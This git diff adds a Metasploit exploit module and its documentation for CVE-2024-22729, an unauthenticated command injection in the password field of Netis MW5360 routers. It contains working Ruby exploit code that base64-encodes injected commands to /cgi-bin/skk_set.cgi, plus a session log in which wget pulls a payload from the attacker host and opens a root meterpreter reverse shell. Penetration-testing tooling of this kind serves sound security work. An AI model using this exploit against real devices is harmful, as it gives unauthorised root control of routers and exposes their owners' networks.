diff --git a/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_22729.md b/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_22729.md new file mode 100644 index 0000000000..52327a2265 --- /dev/null +++ b/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_22729.md @@ -0,0 +1,240 @@ +## Vulnerable Application +Netis router MW5360 has a command injection vulnerability via the password parameter on the login page. +The vulnerability stems from improper handling of the `password` parameter within the router's web interface. +The router's login page authorization can be bypassed by simply deleting the authorization header, +leading to the vulnerability. All router firmware versions up to `V1.0.1.3442` are vulnerable. + +Attackers can inject a command in the `password` parameter, encoded in base64, to exploit the command injection vulnerability. +When exploited, this can lead to unauthorized command execution, potentially allowing the attacker +to take full control of the router as user `root`. + +The following Netis network products are vulnerable: + - MW5360 + +## Installation +Ideally, to test this module, you would need a vulnerable GL.iNet device. +However, by downloading the firmware and install and use `FirmAE` to emulate the router, +we can simulate the router and test the vulnerable endpoint. + +This module has been tested via FirmAE running on Kali Linux 2024.5 at the following emulated targets: +* Netis router model MW5360 with firmware V1.0.1.3442 +* Netis router model MW5360 with firmware V1.0.1.3031 +* Netis router model MW5360 with firmware RUSSIA_844 + +### Installation steps to emulate the router firmware with FirmAE +* Install `FirmAE` on your Linux distribution using the installation instructions provided [here](https://github.com/pr0v3rbs/FirmAE). +* To emulate the specific firmware that comes with the Netis devices, `binwalk` might need to be able to handle a sasquatch filesystem. +* This requires additional [installation steps](https://gist.github.com/thanoskoutr/4ea24a443879aa7fc04e075ceba6f689). +* Please do not forget to run this after your `FirmAE` installation otherwise you will not be able to extract the firmware. +* Download the vulnerable firmware from Netis [here](https://www.netisru.com/Suppory/de_details/id/1/de/136.html). +* We will pick `MW5360-1.0.1.3442.bin` for the demonstration. +* Start emulation. +* First run `./init.sh` to initialize and start the Postgress database. +* Start a debug session `./run.sh -d Netis /root/FirmAE/firmwares/Netis_MW5360-1.0.1.3442.bin` +* This will take a while, but in the end you should see the following... +```shell + # ./run.sh -d netis /root/FirmAE/firmwares/Netis_MW5360-1.0.1.3442.bin +[*] /root/FirmAE/firmwares/Netis_MW5360-1.0.1.3442.bin emulation start!!! +[*] extract done!!! +[*] get architecture done!!! +mke2fs 1.47.0 (5-Feb-2023) +e2fsck 1.47.0 (5-Feb-2023) +[*] infer network start!!! + +[IID] 118 +[MODE] debug +[+] Network reachable on 192.168.1.1! +[+] Web service on 192.168.1.1 +[+] Run debug! +Creating TAP device tap118_0... +Set 'tap118_0' persistent and owned by uid 0 +Bringing up TAP device... +Starting emulation of firmware... 192.168.1.1 true true 42.470578245 42.470578245 +/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13 + import telnetlib +[*] firmware - Netis_MW5360-1.0.1.3442 +[*] IP - 192.168.1.1 +[*] connecting to netcat (192.168.1.1:31337) +[+] netcat connected +------------------------------ +| FirmAE Debugger | +------------------------------ +1. connect to socat +2. connect to shell +3. tcpdump +4. run gdbserver +5. file transfer +6. exit +``` +* check if you can `ping` the emulated router and run `nmap` to check the ports +```shell + # ping 192.168.1.1 +PING 192.168.8.1 (192.168.8.1) 56(84) bytes of data. +64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=9.2 ms +64 bytes from 192.168.1.1: icmp_seq=2 ttl=64 time=3.18 ms +^C +--- 192.168.1.1 ping statistics --- +2 packets transmitted, 2 received, 0% packet loss, time 1001ms +rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms + # nmap 192.168.1.1 +Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-19 10:16 UTC +Nmap scan report for 192.168.1.1 +Host is up (0.0026s latency). +Not shown: 997 filtered tcp ports (no-response) +PORT STATE SERVICE +22/tcp open ssh +80/tcp open http +443/tcp open https +MAC Address: 00:E0:4C:81:96:C1 (Realtek Semiconductor) + +Nmap done: 1 IP address (1 host up) scanned in 4.82 seconds +``` +You are now ready to test the module using the emulated router hardware on IP address 192.168.1.1. + +## Verification Steps +- [x] Start `msfconsole` +- [x] `use exploit/linux/http/netis_unauth_rce_cve_2024_22729` +- [x] `set rhosts ` +- [x] `set lhost ` +- [x] `set target <0=Linux Dropper>` +- [x] `exploit` + +you should get a `Meterpreter` session. + +```msf +msf6 exploit(linux/http/netis_unauth_rce_cve_2024_22729) > info + + Name: Netis router MW5360 unauthenticated RCE. + Module: exploit/linux/http/netis_unauth_rce_cve_2024_22729 + Platform: Linux + Arch: mipsle + Privileged: Yes + License: Metasploit Framework License (BSD) + Rank: Excellent + Disclosed: 2024-01-11 + +Provided by: + h00die-gr3y + Adhikara13 + +Module side effects: + ioc-in-logs + artifacts-on-disk + +Module stability: + crash-safe + +Module reliability: + repeatable-session + +Available targets: + Id Name + -- ---- + => 0 Linux Dropper + +Check supported: + Yes + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + CMD_DELAY 30 yes Delay in seconds between payload commands to avoid locking + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.1.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/ + using-metasploit.html + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI / yes The Netis MW5360 router endpoint URL + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. + This must be an address on the local machine or 0.0.0.0 to listen on all addresses. + SRVPORT 8080 yes The local port to listen on. + +Payload information: + +Description: + Netis router MW5360 has a command injection vulnerability via the password parameter on the login page. + The vulnerability stems from improper handling of the "password" parameter within the router's web interface. + The router's login page authorization can be bypassed by simply deleting the authorization header, + leading to the vulnerability. All router firmware versions up to `V1.0.1.3442` are vulnerable. + Attackers can inject a command in the 'password' parameter, encoded in base64, to exploit the command injection + vulnerability. When exploited, this can lead to unauthorized command execution, potentially allowing the attacker + to take control of the router. + +References: + https://nvd.nist.gov/vuln/detail/CVE-2024-22729 + https://attackerkb.com/topics/MvCphsf4LN/cve-2024-22729 + https://github.com/adhikara13/CVE/blob/main/netis_MW5360/blind%20command%20injection%20in%20password%20parameter%20in%20initial%20settings.md + +View the full module info with the info -d command. +``` +## Options +### CMD_DELAY +Chained command lines using `;` do not work, so each command need to be executed in a separate request +with delay of 30 seconds of more to avoid session locking using the `CMD_DELAY` option. + +## Scenarios +### Netis MW5360 Router Emulation Linux Dropper - linux/mipsle/meterpreter_reverse_tcp +```msf +msf6 exploit(linux/http/netis_unauth_rce_cve_2024_22729) > set target 0 +target => 0 +msf6 exploit(linux/http/netis_unauth_rce_cve_2024_22729) > set rhosts 192.168.1.1 +rhosts => 192.168.1.1 +msf6 exploit(linux/http/netis_unauth_rce_cve_2024_22729) > set lhost 192.168.1.2 +lhost => 192.168.1.2 +msf6 exploit(linux/http/netis_unauth_rce_cve_2024_22729) > exploit + +[*] Started reverse TCP handler on 192.168.1.2:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if 192.168.1.1:80 can be exploited. +[+] The target appears to be vulnerable. Netis(MW5360)-V1.0.1.3442 +[*] Executing Linux Dropper for linux/mipsle/meterpreter_reverse_tcp +[*] Using URL: http://192.168.1.2:8080/IbZMnLDC +[*] Executing wget -qO /tmp/kgfXdZZW http://192.168.1.2:8080/IbZMnLDC +[*] Client 192.168.1.1 (Wget) requested /IbZMnLDC +[*] Sending payload to 192.168.1.1 (Wget) +[*] Executing chmod +x /tmp/kgfXdZZW +[*] Executing /tmp/kgfXdZZW +[+] Deleted /tmp/kgfXdZZW +[*] Meterpreter session 7 opened (192.168.1.2:4444 -> 192.168.1.1:43254) at 2024-05-19 11:51:21 +0000 +[*] Command Stager progress - 100.00% done (112/112 bytes) +[*] Server stopped. + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.1.1 +OS : (Linux 4.1.17+) +Architecture : mips +BuildTuple : mipsel-linux-muslsf +Meterpreter : mipsle/linux +meterpreter > pwd +/etc/boa +meterpreter > ls +Listing: /etc/boa +================= + +Mode Size Type Last modified Name +---- ---- ---- ------------- ---- +100755/rwxr-xr-x 9581 fil 2024-03-04 09:22:46 +0000 boa.conf +100755/rwxr-xr-x 2118 fil 2024-03-04 09:22:46 +0000 mime.types + +meterpreter > +``` +## Limitations +Staged payloads might core dump on the target, so use stage-less payloads when using the Linux Dropper target. +Another limitation is that the router has a very limited command set that can be leveraged, +so the only option is to use the `wget` command to drop an executable on the target to get a session. +Chained command lines using `;` do not work, so each command need to be executed in a separate request +with delay of 30 seconds of more to avoid session locking (see the `CMD_DELAY` option). + +Last but not least, be mindful that the admin router password gets overwritten by the exploit, +resulting in a clear indicator of comprise. diff --git a/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb b/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb new file mode 100644 index 0000000000..9ee6d18c69 --- /dev/null +++ b/modules/exploits/linux/http/netis_unauth_rce_cve_2024_22729.rb @@ -0,0 +1,138 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Netis router MW5360 unauthenticated RCE.', + 'Description' => %q{ + Netis router MW5360 has a command injection vulnerability via the password parameter on the login page. + The vulnerability stems from improper handling of the "password" parameter within the router's web interface. + The router's login page authorization can be bypassed by simply deleting the authorization header, + leading to the vulnerability. All router firmware versions up to `V1.0.1.3442` are vulnerable. + Attackers can inject a command in the 'password' parameter, encoded in base64, to exploit the command injection + vulnerability. When exploited, this can lead to unauthorized command execution, potentially allowing the attacker + to take control of the router. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die-gr3y ', # MSF module contributor + 'Adhikara13' # Discovery of the vulnerability + ], + 'References' => [ + ['CVE', '2024-22729'], + ['URL', 'https://attackerkb.com/topics/MvCphsf4LN/cve-2024-22729'], + ['URL', 'https://github.com/adhikara13/CVE/blob/main/netis_MW5360/blind%20command%20injection%20in%20password%20parameter%20in%20initial%20settings.md'] + ], + 'DisclosureDate' => '2024-01-11', + 'Platform' => ['linux'], + 'Arch' => [ARCH_MIPSLE], + 'Privileged' => true, + 'Targets' => [ + [ + 'Linux Dropper', + { + 'Platform' => ['linux'], + 'Arch' => [ARCH_MIPSLE], + 'Type' => :linux_dropper, + 'CmdStagerFlavor' => ['wget'], + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'SSL' => false, + 'RPORT' => 80 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [ true, 'The Netis MW5360 router endpoint URL', '/' ]), + OptInt.new('CMD_DELAY', [true, 'Delay in seconds between payload commands to avoid locking', 30]) + ]) + end + + def execute_command(cmd, _opts = {}) + # cleanup payload file when session is established. + if cmd.include?('chmod +x') + register_files_for_cleanup(cmd.split('+x')[1].strip) + end + # skip last command to remove payload because it does not work + unless cmd.include?('rm -f') + payload = Base64.strict_encode64("`#{cmd}`") + print_status("Executing #{cmd}") + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/cgi-bin/skk_set.cgi'), + 'vars_post' => { + 'password' => payload, + 'quick_set' => 'ap', + 'app' => 'wan_set_shortcut' + } + }) + end + end + + def check + print_status("Checking if #{peer} can be exploited.") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/cgi-bin/skk_get.cgi'), + 'vars_post' => { + 'mode_name' => 'skk_get', + 'wl_link' => 0 + } + }) + return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200 && res.body.include?('version') + + # trying to get the model and version number + # unfortunately JSON parsing fails, so we need to use this ugly REGEX :-( + version = res.body.match(/.?(version).?\s*:\s*.?((\\|[^,])*)/) + # when found, remove whitespaces and make all uppercase to avoid suprises in string splitting and comparison + unless version.nil? + version_number = version[2].upcase.split('-V')[1].gsub(/[[:space:]]/, '').chop + # The model number part is usually something like Netis(NC63), but occassionally you see things like Stonet-N3D + if version[2].upcase.split('-V')[0].include?('-') + model_number = version[2].upcase.split('-V')[0][/-([^-]+)/, 1].gsub(/[[:space:]]/, '') + else + model_number = version[2].upcase.split('-V')[0][/\(([^)]+)/, 1].gsub(/[[:space:]]/, '') + end + # Check if target is model MW5360 and running firmware 1.0.1.3442 (newest release 2024-04-24) or lower + if version_number && model_number == 'MW5360' && (Rex::Version.new(version_number) <= Rex::Version.new('1.0.1.3442')) + return CheckCode::Appears(version[2].chop.to_s) + end + + return CheckCode::Safe(version[2].chop.to_s) + end + CheckCode::Safe + end + + def exploit + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :linux_dropper + # Don't check the response here since the server won't respond + # if the payload is successfully executed + execute_cmdstager(noconcat: true, delay: datastore['CMD_DELAY']) + end + end +end